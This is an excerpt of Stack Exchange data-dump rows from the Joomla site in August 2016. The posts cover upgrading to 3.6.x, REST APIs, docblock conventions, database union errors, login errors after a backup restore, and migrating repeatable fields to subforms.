  <row Id="17386" PostTypeId="1" CreationDate="2016-08-05T02:51:15.857" Score="1" ViewCount="902" Body="&lt;p&gt;Given &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5666-the-joomla-3-6-1-update.html&quot; rel=&quot;nofollow&quot;&gt;the &quot;dance&quot; that is required for the Joomla 3.6.1 upgrade&lt;/a&gt;, is it possible to Safely update to &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5667-joomla-3-6-2-released.html&quot; rel=&quot;nofollow&quot;&gt;the 3.6.2 release&lt;/a&gt; directly from 3.x where X &amp;lt; 6? &lt;em&gt;(So versions 3.4.x or 3.5.x…)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are extra steps required? (The 3.6.2 release doesn't make it clear.)&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="5638" LastEditDate="2016-09-10T06:35:01.507" LastActivityDate="2016-09-10T06:35:01.507" Title="Can you upgrade SAFELY from 3.4.x or 3.5.x to the 3.6.2 release?" Tags="|joomla-3.x|joomla-3.6|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17387" PostTypeId="2" ParentId="17322" CreationDate="2016-08-05T07:16:37.743" Score="1" Body="&lt;p&gt;So this fix helped me with my bad password login problem:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/11093/files&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/11093/files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the logout problem still persisted, but after upgrading to 3.6.1 everything works normally. This is not exactly a great answer... &lt;/p&gt;&#xA;" OwnerUserId="7690" LastActivityDate="2016-08-05T07:16:37.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17388" PostTypeId="1" AcceptedAnswerId="17393" CreationDate="2016-08-05T07:34:36.813" Score="0" ViewCount="1010" Body="&lt;p&gt;Has the J! project got an official REST API that can be used to manage a running Joomla site? At this stage it looks like we will need to manage at least: articles, categories, tags and perhaps even a menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see there is mention of a &lt;a href=&quot;https://joomla.stackexchange.com/questions/10007/restful-api-to-manage-article&quot;&gt;web services layer&lt;/a&gt; and was wondering if that had been done/implemented?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got any solutions or more information? Ultimately I have a C# application that needs to make changes to a Joomla website.&lt;/p&gt;&#xA;" OwnerUserId="8826" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-09-18T18:24:04.043" Title="Making changes to a Joomla site via REST" Tags="|joomla-api|restful-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17389" PostTypeId="2" ParentId="17356" CreationDate="2016-08-05T08:07:38.027" Score="2" Body="&lt;p&gt;It appears that I have clicked that update button little to fast... again...&lt;/p&gt;&#xA;&lt;p&gt;If I have read official &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5666-the-joomla-3-6-1-update.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Release News The Joomla! 3.6.1 Update&lt;/a&gt;&#xA;a little bit more carefully, I would have learned following from the third paragraph:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Updating from Joomla! 3.6.0&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Update the Joomla! Update Component through the Extension Manager&lt;/em&gt;. Then use the Joomla! Update component to update to the latest 3.6.x version.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So I have tested this statement on second test site, and sure enough: After I clicked on extensions Updates are available! quickicon in control panel, among other updates there was that important one: Joomla! Update Component Update 3.6.1&lt;/p&gt;&#xA;&lt;p&gt;I have updated that one first, and then went back to Joomla Update component and clicked on that blue button 'Install the update', this time without any problems or error messages.&lt;/p&gt;&#xA;&lt;p&gt;Later on I have seen few tweets from Joomla PLT members, referring to official Joomla Github &lt;a href=&quot;http://github.com/joomla/joomla-cms/releases/tag/3.6.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Release Joomla 3.6.1&lt;/a&gt;&#xA;which helps a little bit further:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;IMPORTANT! Due to a security update in this release please upgrade to Joomla 3.6.0 first then &lt;a href=&quot;http://github.com/joomla/joomla-cms/releases/download/3.6.1/com_joomlaupdate-3.6.1.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;install this new version of the Joomla Update Component&lt;/a&gt; through Extension Manager before continuing upgrading Joomla as normal**&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There are also download links to all important packages in questions, even to that Joomla Update Component update itself &lt;a href=&quot;http://github.com/joomla/joomla-cms/releases/download/3.6.1/com_joomlaupdate-3.6.1.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;com_joomlaupdate-3.6.1.zip&lt;/a&gt;, just in case that for some reason that update doesn't appear in your Extensions Update component on your site.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Moral of the story: RTFM!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;The good folks from JoomlaShack (ex-Alledia) just published &lt;a href=&quot;http://www.joomlashack.com/blog/tutorials/361&quot; rel=&quot;nofollow noreferrer&quot;&gt;What to Know About Updating to Joomla 3.6.2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8QDuw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8QDuw.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-08-05T08:33:08.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17391" PostTypeId="2" ParentId="17386" CreationDate="2016-08-05T12:34:06.843" Score="1" Body="&lt;p&gt;The v3.6.2 release isn't much better than the v3.6.1 release as far as the Joomla update goes (except maybe if you upgrading sites still on PHP 5.3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advice at &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5666-the-joomla-3-6-1-update.html&quot; rel=&quot;nofollow&quot;&gt;https://www.joomla.org/announcements/release-news/5666-the-joomla-3-6-1-update.html&lt;/a&gt; still pretty much applies to v3.6.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated about 20 sites today mostly from v3.5.1 and this is the best I could do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;run a backup and copy the backup file offsite&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;update third party extensions to the latest versions first&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;temporarily disable the &quot;System - Backup on update&quot; plugin if you have Akeeba Backup installed (this step probably isn't required any more if you update to Akeeba Backup v5.1.4 first)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;run the Joomla v3.6.0 update that is offered in the Joomla Update component&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;click on the &quot;Clear Cache&quot; button&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;run the Joomla v3.6.2 update that is offered in the Joomla Update component&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;at the &quot;invalid security token&quot; error, browse back to &lt;code&gt;/administrator&lt;/code&gt; then go to &lt;code&gt;Extensions -&amp;gt; Manage -&amp;gt; Database&lt;/code&gt; and click on the &quot;Fix&quot; button&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;re-enable the &quot;System - Backup on update&quot; plugin&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;go to Extensions -&gt; Manage -&gt; Update and update the &quot;Joomla Update&quot; plugin to the latest version (you might need to click on &quot;Clear Cache&quot; and &quot;Find Updates&quot; before the update is offered)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-08-06T02:49:22.777" LastActivityDate="2016-08-06T02:49:22.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17392" PostTypeId="1" AcceptedAnswerId="17394" CreationDate="2016-08-05T14:32:11.333" Score="0" ViewCount="176" Body="&lt;p&gt;I develop a custom triade component-module-plugin and I wonder how I have to properly enter comments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does @package and @subpackage mean? Is this somehow tied to how I pack my extensions for installation? Or is it used for some automatic docs build? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I use &lt;strong&gt;@package     Joomla.Site&lt;/strong&gt; or comehow name my extension here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I copy mod_menu and change the comment to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; * @package     Joomla.Site&#xA; * @subpackage  mod_gruz_menu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about similar comments in plugins or component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, explain or give a link to an explanation. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2018-03-12T19:05:46.907" Title="What is the proper comments @package and @subpackage convention for custom extensions?" Tags="|custom-component|documentation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17393" PostTypeId="2" ParentId="17388" CreationDate="2016-08-05T15:08:05.080" Score="0" Body="&lt;p&gt;At this time, there is no official implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is working group: &lt;a href=&quot;https://docs.joomla.org/Web_Services_Working_Group&quot; rel=&quot;nofollow&quot;&gt;Web Services Working Group&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, there is also a project ready to be tested and planned to be merged in a future Joomla version: &lt;a href=&quot;https://github.com/joomla-projects/webservices&quot; rel=&quot;nofollow&quot;&gt;joomla-projects/webservices&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, it is mostly finished, but it is not tested for PHP 5.3. So, it is waiting until it can receive the last push.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, when I need a REST API, I use to implement it for each use case with FoF framework help.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-08-05T15:08:05.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17394" PostTypeId="2" ParentId="17392" CreationDate="2016-08-05T15:12:43.257" Score="1" Body="&lt;p&gt;The comment blocks that you see at the top, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; * @package     Joomla.Site&#xA; * @subpackage  mod_login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;are simply the type that Joomla use to show that is the login module that part of Joomla core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your own custom extensions, you can use whatever you like. You don't have to put the subpackage there if you don't want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some extension developers have their own preferred structure for the top comment block. Using the following for your own extension is perfectly fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    My Extension Name&#xA; * @copyright  Copyright (C) 2016 CompanyName. All rights reserved.&#xA; * @license    GNU General Public License version 3, or later&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 3rd party single extension, use &lt;code&gt;@package&lt;/code&gt; for the name of your extension and don't use @subpackage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a pkg (package) that consist of a multiple extensions (component, module, etc), then use &lt;code&gt;@subpackage&lt;/code&gt; as the name for each extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example for a FrontEnd module&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* @package Calendar.Site&#xA;* @subpackage mod_calendar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for a backend component part&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@package Calendar.Administrator&#xA;@subpackage com_calendar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="8616" LastEditDate="2016-08-06T06:41:13.733" LastActivityDate="2016-08-06T06:41:13.733" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17395" PostTypeId="1" CreationDate="2016-08-05T19:08:29.797" Score="3" ViewCount="170" Body="&lt;p&gt;I'm getting errors when using JDatabaseQuery::union() to create a database query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Debug disabled I get this at the bottom of the page, presumably when trying to disconnect:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: mysqli::stat(): Couldn't fetch mysqli in...&#xA;  /libraries/joomla/database/driver/mysqli.php on line 219&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: mysqli_close(): Couldn't fetch mysqli in...&#xA;  /libraries/joomla/database/driver/mysqli.php on line 226&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With Debug enabled I get a further message when the query's being made:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: unserialize(): Error at offset... in...&#xA;  /libraries/joomla/database/query.php on line 1472&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That error refers to this line from JDatabaseQuery::__clone():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;{$k} = unserialize(serialize($v));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This issue is repeated across different MySQL, PHP 5.x and Joomla versions on XAMPP and Ubuntu Server. I originally discovered it while developing a component, but it shows up on a clean Joomla install with a clean database on a clean server. Caching is disabled, session times at 120mins. To repeat the issue, replace ContentModelArticles::getListQuery() in /administrator/components/com_content/models/articles.php with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getListQuery()&#xA;    {&#xA;        // Create a new query object.&#xA;        $db = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $sub = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Select the required fields from the first table.&#xA;        $query-&amp;gt;select('id')&#xA;            -&amp;gt;from('#__content');&#xA;&#xA;        // Select the required fields from the second table.&#xA;        $sub-&amp;gt;select('content_id')&#xA;            -&amp;gt;from('#__content_rating');&#xA;&#xA;        $query-&amp;gt;union($sub);&#xA;&#xA;        return $query;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I make the subquery a string rather than a JDatabaseQueryMysqli object, however, there are no problems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getListQuery()&#xA;    {&#xA;        // Create a new query object.&#xA;        $db = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Select the required fields from the first table.&#xA;        $query-&amp;gt;select('id')&#xA;            -&amp;gt;from('#__content');&#xA;&#xA;        $query-&amp;gt;union('SELECT content_id FROM #__content_rating');&#xA;&#xA;        return $query;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I'm doing anything wrong, it's with the query objects. I've had a look at the relevant &lt;a href=&quot;https://docs.joomla.org/Using_the_union_methods_in_database_queries&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;, found &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=827034&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; forum post, and followed the advice to copy the example from /administrator/components/com_finder/helpers/indexer/query.php, which clones and modifies the first query object rather than creating a new one. All to no avail. There's some indication in that forum thread and in other places online that this may be a bug, but everything I've found is fairly old and that bug was &lt;em&gt;apparently&lt;/em&gt; addressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an issue with Joomla or me?&lt;/p&gt;&#xA;" OwnerUserId="7064" LastEditorUserId="3585" LastEditDate="2016-09-13T15:31:54.577" LastActivityDate="2017-04-12T01:10:46.477" Title="Using JDatabaseQuery::union() causes errors" Tags="|joomla-3.x|mysql|jdatabase|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17396" PostTypeId="2" ParentId="17386" CreationDate="2016-08-05T19:52:40.220" Score="1" Body="&lt;p&gt;Due to debugging a SQL issue I've just updated my test server install from 3.5.? to 3.6.2 using the Update button. I had no issues at all, even with all the half-baked components and modules I had installed on the test site &amp;amp; corresponding database already - I wouldn't have known there were issues with earlier versions until I saw your question, the update was smooth and painless and all my own extensions work as intended. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously your own experience will depend on the extensions you have installed and I'd make sure to test it out on a development server first, but Joomla itself seems to be updating fine.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastActivityDate="2016-08-05T19:52:40.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17397" PostTypeId="2" ParentId="17386" CreationDate="2016-08-06T03:03:56.590" Score="0" Body="&lt;p&gt;I use Watchful.li to manage my sites.  I like to give props when something just works.  I literally updated 50 sites to Joomla 3.6.2 today with no issues (other than 2 non-related extension problems).   &lt;a href=&quot;https://watchful.li/&quot; rel=&quot;nofollow&quot;&gt;https://watchful.li/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-08-06T03:03:56.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17398" PostTypeId="1" CreationDate="2016-08-06T12:16:39.317" Score="0" ViewCount="55" Body="&lt;p&gt;I am new in Joomla component development&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create multi vendor site like &lt;code&gt;bookmyshow&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I am confused what should I do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I add some fields in &lt;code&gt;#__users&lt;/code&gt; table like &lt;code&gt;isVendor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="8682" LastActivityDate="2016-08-08T09:44:42.890" Title="Creating joomla vendor panel" Tags="|joomla-3.x|component|fof|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17399" PostTypeId="2" ParentId="13989" CreationDate="2016-08-06T13:10:55.837" Score="1" Body="&lt;p&gt;You cannot find out where the class is defined using &lt;strong&gt;JDump&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find out if from inside a running method using &lt;strong&gt;dumpTrace();&lt;/strong&gt;, but not outside of a class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get what you need try this; &lt;a href=&quot;https://stackoverflow.com/questions/2420066/finding-the-php-file-at-run-time-where-a-class-was-defined&quot;&gt;https://stackoverflow.com/questions/2420066/finding-the-php-file-at-run-time-where-a-class-was-defined&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, have you visited Joomla JDump backend? &lt;strong&gt;/administrator/index.php?option=com_dump&lt;/strong&gt; There is a couple of JDump options there maybe useful in other cases.&lt;/p&gt;&#xA;" OwnerUserId="8616" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-08-06T13:10:55.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17400" PostTypeId="1" CreationDate="2016-08-06T14:45:02.047" Score="0" ViewCount="524" Body="&lt;p&gt;I updated my joomla site from 2.5 to 3.6 with joomla core update component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I updated joomla 2.5 to last version (2.5.8) and update extensions to last versions. and then update joomla to 3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but during updating process shows me below error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: require_once(C:\xampp\htdocs\projectname\libraries/import.legacy.php): failed to open stream: No such file or directory in C:\xampp\htdocs\projectname\administrator\includes\framework.php on line 15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: require_once(): Failed opening required 'C:\xampp\htdocs\projectname\libraries/import.legacy.php' (include_path='.;C:\xampp\php\PEAR') in C:\xampp\htdocs\projectname\administrator\includes\framework.php on line 15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I solve this?&lt;/p&gt;&#xA;" OwnerUserId="7695" LastActivityDate="2016-10-06T01:12:00.600" Title="joomla 2.5 to 3.6 upgrade error" Tags="|joomla-3.x|joomla-2.5|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17401" PostTypeId="2" ParentId="17398" CreationDate="2016-08-06T16:05:07.727" Score="2" Body="&lt;p&gt;I suggest you to start with reading the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-06T16:05:07.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17402" PostTypeId="1" CreationDate="2016-08-06T16:33:08.797" Score="1" ViewCount="11630" Body="&lt;p&gt;My Joomla site breaks after I attempt to login in the front-end, returning an Error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error: 0 - Call to a member function get() on null&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3QLBy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3QLBy.png&quot; alt=&quot;printscreen&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can´t see anything in the console, I dont have any further information where the error come from.&#xA;This happens after I restored my site with Akeeba backup, everything was fine until the restore. I tried to restore other older backups but the issue still the same.&#xA;I have checked the log and tmp path and they are ok, the folders and files permissions are ok to, at last I have repaired the DB in the Cpanel but the problem persists. I dont know what to do more.&#xA;The weird thing is that I still can make the login in the back-end without no problems. I´m confused. I dont have 50$ to buy a subscription in Akeeba, so i use the free version, thats why I need some help, because akeeba only give assistance to the pro version. I have joomla 3 running in php 7.0.9 version&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be apreciated.&lt;/p&gt;&#xA;" OwnerUserId="8832" LastActivityDate="2019-08-16T02:29:01.817" Title="Error: 0 - Call to a member function get() on null" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17403" PostTypeId="2" ParentId="17146" CreationDate="2016-08-06T17:00:01.260" Score="1" Body="&lt;p&gt;If you are using the Bootstrap Carousel. this works for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;gallery-1&quot; class=&quot;carousel slide&quot; data-ride=&quot;carousel&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;carousel-inner&quot; role=&quot;listbox&quot;&amp;gt;&#xA;        &amp;lt;?php foreach ($slideshow_items as $item =&amp;gt; $value) :?&amp;gt;&#xA;            &amp;lt;div class=&quot;item&amp;lt;?php echo ($item=='slideshow_items0') ? ' active': ''; ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;&amp;lt;?php echo $value-&amp;gt;slideshow_img;?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;carousel-caption&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php echo $value-&amp;gt;slideshow_text;?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if someone wants to improve or provide best practices code is welcome.&lt;/p&gt;&#xA;" OwnerUserId="7417" LastActivityDate="2016-08-06T17:00:01.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17405" PostTypeId="1" CreationDate="2016-08-06T18:32:24.527" Score="5" ViewCount="352" Body="&lt;p&gt;The new field type subform does not retrieve old data repeatable, even fields have the same names.&#xA;I created many posts with repeatable. The data are stored in extra fields of com_conent. attribs exactly the column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the structure of all my data obsolete repeatable field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;image_gallery&quot;:&quot;{\&quot;image\&quot;:[\&quot;images\/portfolio\/default\/web\/web_01.jpg\&quot;,\&quot;images\/portfolio\/default\/web\/web_02.jpg\&quot;],\&quot;image_alt\&quot;:[\&quot;\&quot;,\&quot;\&quot;]}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the structure of the new subform field with the same data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;image_gallery&quot;:{&quot;image_gallery0&quot;:{&quot;image&quot;:&quot;images\/portfolio\/default\/web\/web_01.jpg&quot;,&quot;image_alt&quot;:&quot;&quot;},&quot;image_gallery1&quot;:{&quot;image&quot;:&quot;images\/portfolio\/default\/web\/web_02.jpg&quot;,&quot;image_alt&quot;:&quot;&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question: How can I make a SQL query to alter the old data to upgrade to the new structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please I need a query a script or whatever to update such data. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7417" LastActivityDate="2017-05-13T11:03:20.513" Title="Joomla 3.6 How to migrate data from repeatable to subform" Tags="|mysql|sql|joomla-3.6|repeatable-field|subform|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17406" PostTypeId="1" AcceptedAnswerId="17408" CreationDate="2016-08-06T22:37:36.467" Score="2" ViewCount="121" Body="&lt;p&gt;I use Joomla 3.6 and WARP 6 Framework template and it has an option to enable compression in a template manager. It says:&#xA;Combination+Minify+Data URIs+GZip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enabled it and tested my site's speed. I've seen some improvement. Not something major, but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is... So is it a good idea to enable compression like that? Is there anything bad about it?&#xA;I don't know anything about it pretty much, so any input is welcomed.&lt;/p&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="7394" LastEditDate="2016-08-26T14:51:23.473" LastActivityDate="2016-08-26T14:51:23.473" Title="Enabling compression in WARP Framework template" Tags="|joomla-3.x|compression|gzip|wpo|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17407" PostTypeId="2" ParentId="17400" CreationDate="2016-08-06T23:53:01.850" Score="1" Body="&lt;p&gt;As per the advice at &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5666-the-joomla-3-6-1-update.html&quot; rel=&quot;nofollow&quot;&gt;https://www.joomla.org/announcements/release-news/5666-the-joomla-3-6-1-update.html&lt;/a&gt;, Joomla 2.5.x needs to be migrated to 3.5.1 at which point you can use the Joomla Update component to upgrade to 3.6.0 and then 3.6.2 or later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To migrate Joomla 2.5.x to 3.5.1 specifically, you will probably have to use a manual update process as per &lt;a href=&quot;https://docs.joomla.org/Updating_Joomla_(Manual_Method)&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Updating_Joomla_(Manual_Method)&lt;/a&gt; or &lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&lt;/a&gt; or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the 3.5.1 release at: &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.5.1/Joomla_3.5.1-Stable-Full_Package.zip&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/releases/download/3.5.1/Joomla_3.5.1-Stable-Full_Package.zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-08-06T23:59:03.477" LastActivityDate="2016-08-06T23:59:03.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
